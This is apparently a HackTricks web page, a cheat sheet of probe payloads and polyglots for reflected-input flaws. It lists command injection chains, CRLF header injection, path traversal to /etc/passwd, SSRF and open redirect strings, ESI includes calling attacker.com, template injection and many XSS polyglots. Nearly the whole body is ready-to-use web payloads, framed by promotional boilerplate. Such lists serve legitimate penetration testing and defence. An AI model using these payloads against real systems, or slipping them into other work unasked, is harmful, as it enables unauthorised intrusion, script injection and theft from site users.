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README.md

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.

Reflecting Techniques - PoCs and Polygloths CheatSheet

The goal of these PoCs and Polygloths is to give the tester a fast summary of vulnerabilities he may exploit if his input is somehow being reflected in the response.

{% hint style="warning" %} This cheatsheet doesn't propose a comprehensive list of tests for each vulnerability, juts some basic ones. If you are looking for more comprehensive tests, access each vulnerability proposed. {% endhint %}

{% hint style="danger" %} You won't find Content-Type dependant injections like XXE, as usually you will try those yourself if you find a request sending xml data. You won't also find database injections here as even if some content might be reflected it depends heavily on the backend DB technology and structure. {% endhint %}

Polygloths list

{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

Client Side Template Injection

Basic Tests

{{7*7}}
[7*7]

Polygloths

{{7*7}}[7*7]

Command Injection

Basic Tests

;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
`ls`
$(ls)

Polygloths

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

CRLF

Basic Tests

%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Dangling Markup

Basic Tests

<br><b><h1>THIS IS AND INJECTED TITLE </h1>

File Inclusion/Path Traversal

Basic Tests

/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php

Open Redirect / Server Side Request Forgery

Basic Tests

www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)

ReDoS

Basic Tests

(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$

Server Side Inclusion/Edge Side Inclusion

Basic Tests

<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Polygloths

<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Server Side Request Forgery

The same tests used for Open Redirect can be used here.

Server Side Template Injection

Basic Tests

${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

Polygloths

{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\

XSLT Server Side Injection

Basic Tests

<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>

Polygloths

<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>

XSS

Basic Tests

" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()

Polygloths

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>

Support HackTricks and get benefits!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.

README.md Unescape Escape

Reflecting Techniques - PoCs and Polygloths CheatSheet

Polygloths list

Basic Tests

Polygloths

Basic Tests

Polygloths

Basic Tests

Dangling Markup

Basic Tests

Basic Tests

Open Redirect / Server Side Request Forgery

Basic Tests

Basic Tests

Basic Tests

Polygloths

Basic Tests

Polygloths

Basic Tests

Polygloths

XSS

Basic Tests

Polygloths

README.md